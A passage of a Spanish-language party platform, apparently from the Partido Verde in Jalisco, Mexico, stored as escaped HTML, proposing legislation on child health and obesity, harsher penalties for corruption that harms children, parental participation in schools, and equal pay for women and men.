a\u00f1os ya se registraba un incremento del 32% en casos de obesidad infantil.<\/p>\n<p>El Instituto de Nutrici\u00f3n Humana de la Universidad de Guadalajara indic\u00f3 que la obesidad en la poblaci\u00f3n infantil va en ascenso. Seg\u00fan la Encuesta Nacional de Salud del 2006, en Jalisco m\u00e1s del 27% de ni\u00f1os de primaria presenta obesidad y sobrepeso.<a href=\"#_ftn16\" name=\"_ftnref16\">[16]<\/a><\/p>\n<p>Se espera que los niveles de obesidad sean particularmente altos en los Estados Unidos, M\u00e9xico e Inglaterra, donde se proyecta que el 47%, 39% y 35% de la poblaci\u00f3n, respectivamente, ser\u00e1n obesos en 2030.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u00a0<\/p>\n<p>A largo plazo, la obesidad favorece la aparici\u00f3n de enfermedades tales como diabetes, infartos, altos niveles de colesterol o insuficiencia renal, entre otros. Actualmente, la diabetes es el mayor problema al que se enfrenta el sistema nacional de salud: es la principal causa de muerte en adultos, la primera causa de demanda de atenci\u00f3n m\u00e9dica y la enfermedad que consume el mayor porcentaje de gastos en las instituciones p\u00fablicas.<\/p>\n<p>La diabetes tipo II, es una enfermedad metab\u00f3lica que anteriormente se observaba \u00fanicamente en personas de la tercera edad y despu\u00e9s en adultos, con el paso de los a\u00f1os lleg\u00f3 tambi\u00e9n a los adultos j\u00f3venes y ahora tambi\u00e9n a los ni\u00f1os esto como resultado de la obesidad infantil.<\/p>\n<p><strong>PRESUPUESTO EN MATERIA DE SALUD INFANTIL EN M\u00c9XICO<\/strong><\/p>\n<p>Desde la prospectiva del presupuesto p\u00fablico destinado espec\u00edficamente a la salud infantil en M\u00e9xico, solo se cuenta con el Programa Seguro M\u00e9dico Siglo XXI, en el cual se articulan las pol\u00edticas en materia de salud, que atienden la l\u00ednea de acci\u00f3n relativa a la promoci\u00f3n del desarrollo\u00a0integral de los ni\u00f1os y ni\u00f1as menores de 5 a\u00f1os.<\/p>\n<p>Desde que comenz\u00f3 a operar Seguro M\u00e9dico Siglo XXI en el 2008 hasta el presupuesto de Egresos para el ejerci\u00f3 fiscal 2018, se tiene una tendencia negativa en su evoluci\u00f3n presupuestaria de pasar de 3 mil 387 millones de pesos a 2 mil 050 millones de pesos, tal y como se puede observar en la siguiente gr\u00e1fica:<\/p>\n<p>Fuente: Cuenta P\u00fablica Federal 2008-2016, SHCP; Presupuesto de Egresos de la Federaci\u00f3n 2017 y\u00a0\u00a02018, C\u00e1mara de Diputados.<\/p>\n<p>Nota: Serie deflactada a precios constantes 2015.<\/p>\n<p>Lo que tambi\u00e9n se puede observar es una tendencia al subejercicio, excepto en el 2012 cuando por el contrario, se ejercen casi 500 millones de pesos adicionales a los provistos en el presupuesto aprobado para el programa. Sin embargo en el resto de los a\u00f1os siempre se muestra un nivel importante de sub-ejecuci\u00f3n en donde destacan el a\u00f1o 2008, 2013 y el 2016. Las razones de estos subejercicios no son detalladas en los documentos presupuestarios ni de pol\u00edtica p\u00fablica.<\/p>\n<p>Se podr\u00eda suponer que se incorporaron menos ni\u00f1os a este esquema de aseguramiento, sin embargo los datos del CONEVAL en el monitoreo 2016-2017 del programa en cuanto a poblaci\u00f3n objetivo y atendida muestran lo contrario<a href=\"#_ftn17\" name=\"_ftnref17\"><sup>[17]<\/sup><\/a>.<\/p>\n<p>Por otra parte y materia del ejercicio p\u00fablico relacionado con la salud infantil, tenemos que a principios de 2017 se ventilaron casos de funcionarios p\u00fablicos estatales que administraron medicamentos falsos a ni\u00f1os con c\u00e1ncer que requer\u00edan quimioterapias, vulner\u00e1ndose su derecho humano de protecci\u00f3n a la salud y poni\u00e9ndose en riesgo su vida. Adem\u00e1s se report\u00f3 el hallazgo de bodegas con medicamentos cuya caducidad hab\u00eda vencido, lo cual hace sospechar que se adquirieron medicamentos caducos o bien se dej\u00f3 caducar deliberadamente. Se trata de hechos de corrupci\u00f3n y de un mal ejercicio de funciones p\u00fablicas, lo cual merece castigos ejemplares.\u00a0<\/p>\n<p>Para inhibir conductas delictivas por parte de funcionarios de gobierno se debe establecer como un agravante dentro de los delitos relacionados con el quehacer p\u00fablico, el de afectar de manera irreparable la salud infantil, en cualquiera de los supuestos que actualmente regula el C\u00f3digo Penal Federal, entendiendo por agravante aquella circunstancia de tiempo, lugar, modo, condici\u00f3n y estado que acompa\u00f1an a alg\u00fan hecho il\u00edcito, ocasionando un aumento en la gravedad del delito, lo cual determina la extensi\u00f3n del castigo.\u00a0<\/p>\n<p>En ese sentido proponemos que la afectaci\u00f3n a la salud infantil por alg\u00fan acto de corrupci\u00f3n ocasionar\u00e1 que la pena sea invariablemente de entre cuarenta y\u00a0 ciento cuarenta a\u00f1os de prisi\u00f3n, lo cual implica modificaciones al articulo 144 del C\u00f3digo Penal del Estado de Jalisco, con la finalidad de establecer una sanci\u00f3n meramente privativa de la libertad, pues las penas que establece dicho T\u00edtulo del C\u00f3digo Penal no contemplan el delito de sancionar al funcionario p\u00fablico que por actos de corrupci\u00f3n\u00a0 genere alg\u00fan menoscabo a la salud infantil<\/p>\n<p>Finalmente, y por la importancia de la salud de nuestros ni\u00f1os se propone reformar la Ley de salud del estado de Jalisco, para que la Secretar\u00eda de Salud estatal contemple servicios b\u00e1sicos la salud infantil.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar la fracci\u00f3n XII del art\u00edculo 40 de la Ley Federal sobre Metrolog\u00eda y Normalizaci\u00f3n, para crear una Etiqueta Alimentaria Oficial Mexicana en todos los envases, embalaje y la publicidad de los productos, para dar informaci\u00f3n al consumidor sobre el car\u00e1cter saludable de los alimentos a trav\u00e9s de la codificaci\u00f3n de colores y letras.<\/li>\n<\/ul>\n<p>Se propone que los restaurantes de comida r\u00e1pida muestren en el men\u00fa el contenido de nutrientes de sus platillos su contenido cal\u00f3rico y adviertan cuando \u00e9stos contengan un excesivo grado de sodio.<\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Crear un seguro m\u00e9dico universal gratuito y de afiliaci\u00f3n autom\u00e1tica al nacer para los ni\u00f1os y ni\u00f1as, que abarque hasta sus 15 a\u00f1os de edad, y cubra la totalidad de sus gastos e incluya todos los servicios m\u00e9dicos del Cat\u00e1logo Universal de Salud y de alta especialidad para enfermedades de alto costo.<\/li>\n<\/ul>\n<p>Para ello es necesario elevar a rango de Ley el Programa del Seguro M\u00e9dico Siglo XXI,\u00a0 que incluya a los ni\u00f1os y las ni\u00f1as de hasta 15 a\u00f1os de edad.<\/p>\n<ul>\n<li>Contemplar en el presupuesto una partida especial en la que se autorice un presupuesto mayor a la secretaria de salud con la finalidad de dise\u00f1ar un programa enfocado en materia de salud infantil deber\u00e1n de ser mayor en al menos un 3 por ciento mayor al asignado en el a\u00f1o anterior, actualizado por la inflaci\u00f3n,para asegurar el incremento en el gasto p\u00fablico que corresponde a la atenci\u00f3n en salubridad para los ni\u00f1os y las ni\u00f1as.<\/li>\n<li>Adicionar un art\u00edculo 144 Bis al <em>T\u00edtulo S\u00e9ptimo de los Delitos por hechos de corrupci\u00f3n<\/em> del C\u00f3digo Penal del estado cuyo texto propuesto dice:<\/li>\n<\/ul>\n<p><em>Art\u00edculo 144 Bis.- Cuando derivado de la comisi\u00f3n de los delitos a que se refiere el presente t\u00edtulo, se ocasione alguna afectaci\u00f3n irreparable a la salud infantil, se impondr\u00e1 una pena de cuarenta a ciento cuarenta a\u00f1os de prisi\u00f3n. <\/em><\/p>\n<ul>\n<li>Adicionar un art\u00edculo 144 Ter al <em>T\u00edtulo S\u00e9ptimo de los Delitos por hechos de corrupci\u00f3n<\/em> del C\u00f3digo Penal estatal cuyo texto propuesto dice:<\/li>\n<\/ul>\n<p><em>Art\u00edculo 144 Ter.- Cuando derivado de la comisi\u00f3n de los delitos a que se refiere el presente t\u00edtulo, se ocasione alguna afectaci\u00f3n irreparable a la salud de personas mayores de 18 a\u00f1os de edad, se impondr\u00e1 una pena de treinta a sesenta a\u00f1os de prisi\u00f3n.<\/em><\/p>\n<ul>\n<li>Reformar el art\u00edculo 23 de la Ley de la Ley de Salud del Estado de Jalisco, para que la secretaria de salud contemple como servicio b\u00e1sico la salud infantil, teniendo esto como finalidad el generar un departamento de salud infantil.<\/li>\n<\/ul>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a>Centro Nacional para la Salud de la Infancia y la Adolescencia (CENSIA), Comportamiento Epideomiol\u00f3gico del C\u00e1ncer en menores de 18 A\u00f1os. M\u00e9xico 2008-2014 fecha de consulta 28 de octubre de 2017, disponible en: http:\/\/censia.salud.gob.mx\/contenidos\/descargas\/cancer\/20160601_Boletin-2014_SEDP12sep16_4.pdf<\/p>\n<p><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> Gobierno de Oaxaca. 14 de febrero, 2017, Detectar a tiempo el c\u00e1ncer infantil est\u00e1 en ti: SSO, fecha de Consulta 26 de octubre de 2017, disponible en: http:\/\/www.salud.oaxaca.gob.mx\/detectar-a-tiempo-el-cancer-infantil-esta-en-ti-sso\/<\/p>\n<p><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a>MART\u00cdNEZ ARELLANO, Irma Rosa, <em>Se quiere combatir el c\u00e1ncer y se recortan presupuestos, <\/em>\u201cEs discriminatorio, pues no cubre todos los tipos de c\u00e1ncer ni a todas las edades\u201d, sumedico.com\/seguro-popular-presupuesto-cancer\/, 10 Octubre 2017.<\/p>\n<p><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a>[4]MART\u00cdNEZ ARELLANO, Irma Rosa, <em>Lucha contra el c\u00e1ncer: se requieren mayores recursos, <\/em>\u201cEntrevista con Mayra Galindo Leal, presidenta de la Asociaci\u00f3n Mexicana de Lucha contra el c\u00e1ncer\u201d, sumedico.com\/seguro-popular-presupuesto-cancer\/, 02 Octubre 2017.<\/p>\n<p><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a><em>Ib\u00eddem<\/em>.<\/p>\n<p><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a><em>Ib\u00eddem<\/em>.<\/p>\n<p><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a> Perfil de los sistemas de salud. Colombia. Organizaci\u00f3n Panamericana de la Salud. 2009<\/p>\n<p><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a> Perfil de los sistemas de salud de Cuba. Organizaci\u00f3n Panamericana de la Salud. 2001<\/p>\n<p><a href=\"#_ftnref9\" name=\"_ftn9\">[9]<\/a> Perfil de los sistemas de salud. Rep\u00fablica Oriental del Uruguay. Organizaci\u00f3n Panamericana de la Salud. 2009<\/p>\n<p><a href=\"#_ftnref10\" name=\"_ftn10\">[10]<\/a> Perfil de los sistemas de salud. Puerto Rico. Organizaci\u00f3n Panamericana de la Salud. 2007<\/p>\n<p><a href=\"#_ftnref11\" name=\"_ftn11\">[11]<\/a> Perfil de los sistemas de salud. Estados Unidos de Am\u00e9rica. Organizaci\u00f3n Panamericana de la Salud. 2002<\/p>\n<p><a href=\"#_ftnref12\" name=\"_ftn12\">[12]<\/a>http:\/\/www.senado.gob.mx\/sgsp\/gaceta\/63\/2\/2016-11-08-1\/assets\/documentos\/Acuerdo_JCP_Cancer_Infantil_08112016.pdf<\/p>\n<p><a href=\"#_ftnref13\" name=\"_ftn13\">[13]<\/a> http:\/\/sil.gobernacion.gob.mx\/Archivos\/Documentos\/2016\/12\/asun_3461065_20161208_1481211650.pdf<\/p>\n<p><a href=\"#_ftnref14\" name=\"_ftn14\">[14]<\/a> Estimaci\u00f3n de ISSSTE con datos del Healthcare Cost and Utilization Project (EEUU).<\/p>\n<p><a href=\"#_ftnref15\" name=\"_ftn15\">[15]<\/a> http:\/\/ensanut.insp.mx\/informes\/Jalisco-OCT.pdf<\/p>\n<p><a href=\"#_ftnref16\" name=\"_ftn16\">[16]<\/a> http:\/\/cincopordia.com.mx\/wpcinco\/el-27-por-ciento-de-la-poblacion-infantil-de-jalisco-presenta-obesidad-y-sobrepeso\/<\/p>\n<p><a href=\"#_ftnref17\" name=\"_ftn17\">[17]<\/a>http:\/\/www.coneval.org.mx\/Evaluacion\/Documents\/EVALUACIONES\/FMyE_2016_2017\/FMyE_12_S201.pdf<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVII.\tSocial\t\t\t\t\t<\/p>\n<p><strong>T\u00cdTULO: UN D\u00cdA POR NUESTROS HIJOS<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>La participaci\u00f3n social es un elemento fundamental para que una naci\u00f3n se consolide como democr\u00e1tica. En una sociedad organizada y comprometida, los individuos asumen su responsabilidad colaborando activamente en la consecuci\u00f3n de objetivos y beneficios colectivos que mejoran la calidad de vida de la comunidad, constituyendo as\u00ed, un espacio de ejercicio leg\u00edtimo del deber y del derecho ciudadano.<\/p>\n<p>La participaci\u00f3n social en la educaci\u00f3n, crea bases s\u00f3lidas para construir una sociedad democr\u00e1tica, donde los miembros acuden, toman decisiones y desarrollan acciones en corresponsabilidad, transparencia y rendici\u00f3n de cuentas; pero sobre todo, es parte fundamental para generar capital social y confianza mutua.<\/p>\n<p>En ese sentido, la participaci\u00f3n de los padres de familia es en el \u00e1mbito educativo vital, puesto que son los primeros agentes socializadores, que al involucrarse de forma din\u00e1mica y colaborativa, refuerzan valores, h\u00e1bitos y actitudes positivas para la sociedad.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>El sistema educativo mexicano ha buscado m\u00faltiples maneras para que todos los actores involucrados en la escuela, tengan una participaci\u00f3n efectiva. Sin embargo, el Reporte General de Resultados de la Evaluaci\u00f3n de Condiciones B\u00e1sicas para la Ense\u00f1anza y el Aprendizaje (ECEA, 2014) del Instituto Nacional para la Evaluaci\u00f3n de la Educaci\u00f3n, muestra que los padres de familia son convocados en primer lugar, para actividades informativas; en segundo, para realizar aportaciones en dinero, materiales o trabajo (98% de las primarias); y en tercer lugar, para la organizaci\u00f3n de eventos sociales y culturales (96% de las primarias).Solo el 77% de las primarias, convocan a los padres de familia para que participen en el proyecto escolar; en menor grado, para la elaboraci\u00f3n de normas escolares (75%); pero solo el 65% de las primarias, convocaron a los padres para que asistan a ver c\u00f3mo se da una clase.<\/p>\n<p>No obstante, los docentes afirman que la falta de tiempo para trabajar en colegiado<a href=\"#_ftn1\" name=\"_ftnref1\"><sup>[1]<\/sup><\/a>, as\u00ed como la carencia de espacios f\u00edsicos para realizar las reuniones, son los principales obst\u00e1culos para llevarlas a cabo.<\/p>\n<p>Lo anterior se ve reflejado en la poca asistencia de padres de familia a reuniones e inclusive, el bajo n\u00famero de padres como miembros de asociaciones de padres de familia. De acuerdo con la Encuesta Nacional sobre Cultura Pol\u00edtica y Pr\u00e1cticas Ciudadanas (ENCUP, 2012) realizada por la Secretar\u00eda de Gobernaci\u00f3n, la participaci\u00f3n de los padres de familia es casi inexistente, puesto que el 78% de los encuestados afirm\u00f3 no ser miembro de la Asociaci\u00f3n de padres de familia, as\u00ed como el 74.61% afirm\u00f3 que no asiste a reuniones de dichas asociaciones.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Los fuertes sismos que ha padecido nuestro pa\u00eds, fueron la fuente de una gran solidaridad en beneficio de los damnificados. La ciudadan\u00eda y organizaciones civiles, salieron a las calles a levantar escombros, ofrecieron comida y techo a los que lo perdieron todo, y un gran n\u00famero de ciudadanos de todo el pa\u00eds donaron en especie o de forma econ\u00f3mica, para la reconstrucci\u00f3n de los Estados afectados. Sin embargo, en diversas encuestas<a href=\"#_ftn2\" name=\"_ftnref2\"><sup>[2]<\/sup><\/a> se tuvo la percepci\u00f3n general de que aquella movilidad social se origin\u00f3 \u00fanicamente por ayudar en ese espec\u00edfico momento, es decir, de forma pasajera; lo cual puede deberse a una falta de confianza existente en general y a la falta de participaci\u00f3n activa de la ciudadan\u00eda en el quehacer social de forma cotidiana, es decir, a un bajo capital social.<\/p>\n<p>Lamentablemente, dicha percepci\u00f3n no es s\u00f3lo de ahora, ya que los mexicanos se han encasillado a ser ciudadanos pasivos y reactivos, que \u00fanicamente participan de manera coyuntural, y\u00a0 generalmente por razones altruistas, que prefieren realizar acciones individuales antes que acciones colectivas.\u00a0 Es por ello, que nos encontramos ante una sociedad de movimientos y de movimientos inmediatos, no ante una sociedad organizada.<\/p>\n<p>Es preciso impulsar el capital social, y para ello es fundamental incrementar la participaci\u00f3n ciudadana, la cual ayuda, no solo\u00a0 a que las decisiones pol\u00edticas sean mejor aceptadas y se doten de mayor legitimidad, sino que adem\u00e1s, contribuyan a la construcci\u00f3n de capital social y \u00e9ste, a su vez, induzca la corresponsabilidad colectiva y eleve la solidaridad como un estilo de vida.<\/p>\n<p>El capital social re\u00fane todas las formas de relacionarse entre los individuos y la sociedad, creando una red de relaciones sociales mutuas; sin embargo, su importancia recae no solo en la creaci\u00f3n de asociaciones u organizaciones civiles, sino en la generaci\u00f3n de confianza\u00a0 individual y colectiva, lo que conlleva a la continua cooperaci\u00f3n y solidaridad en la sociedad.<\/p>\n<p>En ese sentido, la confianza resulta esencial, dado que de ella depende tanto el \u00e9xito econ\u00f3mico como la calidad de la democracia. De esta forma, el capital social se vincula en mayor medida con los \u00edndices de confianza que con los de asociatividad.<\/p>\n<p>Seg\u00fan el Registro Federal de Organizaciones de la Sociedad Civil, a julio de 2014 se contaba con 27 mil 18 actores sociales inscritos en todo el pa\u00eds; y para 2016, 32 mil organizaciones de la sociedad civil hab\u00edan obtenido su clave de registro \u00fanico, lo cual muestra un crecimiento del 18%; no obstante, de acuerdo con la \u00faltima medici\u00f3n del Latinobar\u00f3metro, la confianza interpersonal baj\u00f3, del 16% en el 2015 a 14% en 2017.<\/p>\n<p>El Latinobar\u00f3metro 2017, adem\u00e1s mostr\u00f3 una baja confianza hacia diversas instituciones, ya que s\u00f3lo el 58% afirm\u00f3 confiar en la iglesia; el 51% en las fuerzas armadas; el 33% en el Tribunal Electoral; 23% en el Poder Judicial; 22% en el congreso; 21% en la polic\u00eda; 15% en el gobierno y solo el 9% en los partidos pol\u00edticos.<\/p>\n<p>De este modo, se observa que el capital social se compone de confianza interpersonal (capital civil) y de confianza institucional (capital c\u00edvico), creando as\u00ed un c\u00edrculo virtuoso de confianza interpersonal, intergrupal e institucional.<\/p>\n<p>Empero, si el capital civil se encuentra fragmentado, destruye la confianza en los dem\u00e1s, creando un clima de sospecha y desconfianza generalizada, lo cual lleva a los ciudadanos a encerrarse en grupos con intereses sectarios o sometidos a redes clientelares impidiendo la integraci\u00f3n social efectiva. Si adem\u00e1s se presenta poca confianza institucional, se desvincula la ciudadan\u00eda respecto de los asuntos p\u00fablicos, imperando en consecuencia el autoritarismo burocr\u00e1tico, la apat\u00eda y la pasividad ciudadana, provocando un absentismo ciudadano.<\/p>\n<p>En consecuencia, el capital social se construye a trav\u00e9s de la confianza, aunada con la participaci\u00f3n social, activa y contin\u00faa de cada ciudadano: siendo importante la participaci\u00f3n temprana de los padres de familia en la formaci\u00f3n educativa de sus hijos.<\/p>\n<p>La participaci\u00f3n activa de los padres de familia fomenta las asociaciones entre individuos, puesto que se ven comprometidos a convivir y a interactuar con todos los actores involucrados en la educaci\u00f3n de sus hijos (otros padres de familia, maestros y docentes, y autoridades educativas), propiciando diversos niveles de confianza y tolerancia, creando de esa forma, nuevos v\u00ednculos profundos y duraderos, consolidando la solidaridad e inculcando la participaci\u00f3n activa a sus hijos. Pero adem\u00e1s de propiciar confianza interpersonal e intergrupal, que los padres de familia puedan ser part\u00edcipes en la toma de decisiones escolares, genera una relaci\u00f3n con la instituci\u00f3n educativa, creando confianza institucional al introducir la transparencia y rendici\u00f3n de cuentas como una funci\u00f3n de los padres de familia. Este tipo de acciones individuales y colectivas son las que forjan la democracia efectiva en las instituciones p\u00fablicas.<\/p>\n<p>Tan importante es la participaci\u00f3n activa de los padres de familia en la educaci\u00f3n que la Ley General de Educaci\u00f3n reconoce en su art\u00edculo segundo, que\u00a0 la\u00a0 educaci\u00f3n\u00a0 es un medio fundamental\u00a0 para\u00a0 adquirir,\u00a0 transmitir\u00a0 y\u00a0 acrecentar\u00a0 la\u00a0 cultura;\u00a0 un\u00a0 proceso permanente\u00a0 que\u00a0 contribuye\u00a0 al\u00a0 desarrollo\u00a0 del\u00a0 individuo\u00a0 y\u00a0 a\u00a0 la\u00a0 transformaci\u00f3n\u00a0 de\u00a0 la\u00a0 sociedad,\u00a0 y\u00a0 que es factor determinante para la adquisici\u00f3n de conocimientos y para formar a mujeres y a hombres, de manera que tengan sentido de solidaridad social. Asimismo, afirma que en el sistema educativo nacional deber\u00e1 asegurarse la participaci\u00f3n activa de todos los involucrados\u00a0 en\u00a0 el\u00a0 proceso\u00a0 educativo,\u00a0 con\u00a0 sentido\u00a0 de\u00a0 responsabilidad\u00a0 social,\u00a0 privilegiando\u00a0 la\u00a0 participaci\u00f3n\u00a0 de\u00a0 los educandos, padres de familia y docentes; lo anterior, con la finalidad de\u00a0 fortalecer actitudes solidarias y fomentar valores y principios del cooperativismo<a href=\"#_ftn3\" name=\"_ftnref3\"><sup>[3]<\/sup><\/a> por mencionar algunos.<\/p>\n<p>Sin embargo, es necesario estipular en la ley que la participaci\u00f3n activa de los padres de familia no sea solo una proposici\u00f3n, sino que sea una pr\u00e1ctica recurrente y efectiva. En otras palabras, que los padres de familia tengan la posibilidad de involucrarse y colaborar en el proyecto escolar, en la elaboraci\u00f3n de normas escolares, as\u00ed como apoyar la gesti\u00f3n escolar<a href=\"#_ftn4\" name=\"_ftnref4\"><sup>[4]<\/sup><\/a>; no solo para actividades informativas o para la organizaci\u00f3n de eventos sociales y culturales; ni mucho menos, que su participaci\u00f3n principal sea la de aportar dinero o materiales.<\/p>\n<p>La Reforma Educativa que inici\u00f3 en 2012, produjo cambios estructurales en el modelo educativo debido a que se reconoci\u00f3 que el modelo anterior, exclusivamente de tipo jer\u00e1rquico, no era favorable para la adquisici\u00f3n de capacidades que requiere el pa\u00eds en la actualidad. Por lo que en el nuevo modelo educativo, se establecen los principios y mecanismos que permitan una gobernanza efectiva y un funcionamiento adecuado del sistema educativo, reconociendo la importancia de los padres de familia en la educaci\u00f3n; as\u00ed como su activa y responsable participaci\u00f3n social como clave para el buen funcionamiento del sistema educativo en su conjunto y, sobre todo, a nivel de cada plantel escolar.<\/p>\n<p>En el modelo educativo, el principal papel de los padres de familia es el de cumplir la funci\u00f3n de contralor\u00eda social de los recursos que reciben los planteles a trav\u00e9s de diversos programas; y aunque sea importante dicha participaci\u00f3n puesto que contribuyen a la transparencia y a la rendici\u00f3n de cuentas, no es suficiente para tener un impacto en la construcci\u00f3n de capital social, sigue ausente la rendici\u00f3n de cuentas en materia de calidad y desempe\u00f1o educativo.<\/p>\n<p>La Secretar\u00eda de Educaci\u00f3n P\u00fablica ha reiterado que el prop\u00f3sito de la educaci\u00f3n b\u00e1sica y media superior es contribuir a formar ciudadanos libres, participativos, responsables e informados, capaces de ejercer y defender sus derechos, que participen activamente en la vida social, econ\u00f3mica y pol\u00edtica de M\u00e9xico.<\/p>\n<p>La participaci\u00f3n de los padres de familia en la planeaci\u00f3n acad\u00e9mica, sigue siendo una acci\u00f3n muy lejana a ellos, relev\u00e1ndolos a una figura de apoyo, donde puedan contribuir con actividades extracurriculares que promuevan la lectura, la convivencia sana, el cuidado del medio ambiente o una alimentaci\u00f3n saludable. Si bien, es factor necesario para\u00a0 generar capital civil, no tienen injerencia en las decisiones acad\u00e9micas.<\/p>\n<p>En su art\u00edculo 48 la Ley General de Educaci\u00f3n, estipula que la Secretar\u00eda de Educaci\u00f3n considerar\u00e1 las opiniones de las autoridades educativas locales, y de los diversos sectores sociales involucrados en la educaci\u00f3n, los maestros y los padres de familia, expresadas a trav\u00e9s del Consejo Nacional de Participaci\u00f3n Social en la Educaci\u00f3n para la determinaci\u00f3n de los planes y programas de estudio de la educaci\u00f3n preescolar, primaria, secundaria, y la educaci\u00f3n normal. Si bien, existe la figura de los Consejos a nivel nacional, estatal, municipal y en cada plantel escolar, el involucramiento de los padres de familia queda a cargo de un representante, dejando afuera a la mayor\u00eda de los padres, quienes en muchas ocasiones no se enteran de los resultados de evaluaciones o de los temas abordados en las asambleas.<\/p>\n<p>El Consejo Nacional de Participaci\u00f3n Social realiz\u00f3 una encuesta nacional en el 2015 para conocer la operaci\u00f3n, fortalezas y necesidades de los Consejos Escolares de Participaci\u00f3n Social (CEPS)<a href=\"#_ftn5\" name=\"_ftnref5\"><sup>[5]<\/sup><\/a>; y de forma particular, conocer la posici\u00f3n de los padres de familia o tutores frente al trabajo que desarrollan como miembros de dichos consejos. Sin embargo, entre los resultados destaca que la direcci\u00f3n de la escuela no design\u00f3 a los padres de familia como consejeros (46% de los casos); asimismo, arrojo que el CEPS informa a la comunidad educativa sobre sus actividades principalmente por medio de informes verbales presentados en asambleas, y en segundo t\u00e9rmino, mediante informes escritos entregados en el plantel. Ante lo anterior, se concluy\u00f3 que se debe\u00a0 incentivar la participaci\u00f3n con los otros padres del CEPS en la elaboraci\u00f3n y entrega de informes a la comunidad sobre sus actividades y logros; as\u00ed como, comentar con padres y maestros en el CEPS informes sobre el aprendizaje de los ni\u00f1os.<\/p>\n<p>Debemos recordar que la ley establece que ser\u00e1 responsabilidad de la autoridad educativa que en cada escuela p\u00fablica de educaci\u00f3n b\u00e1sica opere un consejo escolar de participaci\u00f3n social, Sin embargo, no existe de manera continua y efectiva; no se informa a los dem\u00e1s padres de familia de forma escrita de lo acontecido en los Consejos de cada plantel.<\/p>\n<p>Nos encontramos con m\u00faltiples obst\u00e1culos para que la participaci\u00f3n de los padres de familia sea continua, efectiva y colaborativa; siendo necesario otorgar certeza que al acudir y al participar de forma activa y constante en la educaci\u00f3n de sus hijos, no sea motivo de suspensi\u00f3n de prestaciones laborales.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Modificar el art\u00edculo 7 de la Ley General de Educaci\u00f3n, para incluir la participaci\u00f3n activa de los padres de familia como una acci\u00f3n educativa que promueve la corresponsabilidad.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar el art\u00edculo 65 de la Ley General de Educaci\u00f3n, para incluir como un derecho de los padres de familia, la participaci\u00f3n activa en la toma de decisiones acad\u00e9micas y en la elaboraci\u00f3n de normas escolares.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar el art\u00edculo 68 de la Ley General de Educaci\u00f3n, para fortalecer la participaci\u00f3n de los padres de familia en los Consejos de Participaci\u00f3n Social.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para Reformar el Cap\u00edtulo II, De las Jornadas Laborales, de la Ley Federal del Trabajo para que los padres de familia puedan asistir a las reuniones escolares de forma mensual, sin que esto afecte sus jornadas laborales de forma econ\u00f3mica, siempre que acrediten su puntual asistencia a las reuniones escolares.<\/li>\n<\/ul>\n<p><strong>TITULO: MISMO TRABAJO, MISMO SUELDO<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Alcanzar la equidad salarial y erradicar la brecha entre hombres y mujeres. Las diferencias de g\u00e9nero se perciben no s\u00f3lo en los puestos de trabajo sino que en ocasiones la discriminaci\u00f3n salarial en las empresas se ve reflejado en el sueldo y prestaciones que perciben los trabajadores por el mismo puesto, ya sean hombres o mujeres, contraviniendo con el desarrollo integral humano.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>En M\u00e9xico, los derechos laborales, el derecho a la no discriminaci\u00f3n y la igualdad laboral entre mujeres y hombres se establecen en la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos, la Ley Federal del Trabajo, la Ley General para la Igualdad entre Mujeres y Hombres y la Ley Federal para Prevenir y Eliminar la Discriminaci\u00f3n.<\/p>\n<p>Sin embargo, las mujeres ganan entre 23% y hasta 30% menos que lo que ganan los hombres, de acuerdo con la Encuesta Nacional de Ocupaci\u00f3n y Empleo al cuarto trimestre de 2016; y la discriminaci\u00f3n laboral sigue presente, tanto entre hombres como mujeres, ya que entre 2011 y 2017 se abrieron 2 mil 935 expedientes por presuntos actos de discriminaci\u00f3n en el trabajo; de los cuales, 713 corresponden a despidos por embarazo, 562 por condici\u00f3n de salud; 358 por apariencia f\u00edsica, 317 por discapacidad; 282 por edad, y 334 otros.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>La fracci\u00f3n III del art\u00edculo 1 de la Ley Federal para Prevenir y Eliminar la Discriminaci\u00f3n, determina como discriminaci\u00f3n \u201ctoda distinci\u00f3n, exclusi\u00f3n, restricci\u00f3n o preferencia que, por acci\u00f3n u omisi\u00f3n, con intenci\u00f3n o sin ella, no sea objetiva, racional ni proporcional y tenga por objeto o resultado obstaculizar, restringir, impedir, menoscabar o anular el reconocimiento, goce o ejercicio de los derechos humanos y libertades, cuando se base en uno o m\u00e1s de los siguientes motivos: el origen \u00e9tnico o nacional, el color de piel, la cultura, el sexo, el g\u00e9nero, la edad, las discapacidades, la condici\u00f3n social, econ\u00f3mica, de salud o jur\u00eddica, la religi\u00f3n, la apariencia f\u00edsica, las caracter\u00edsticas 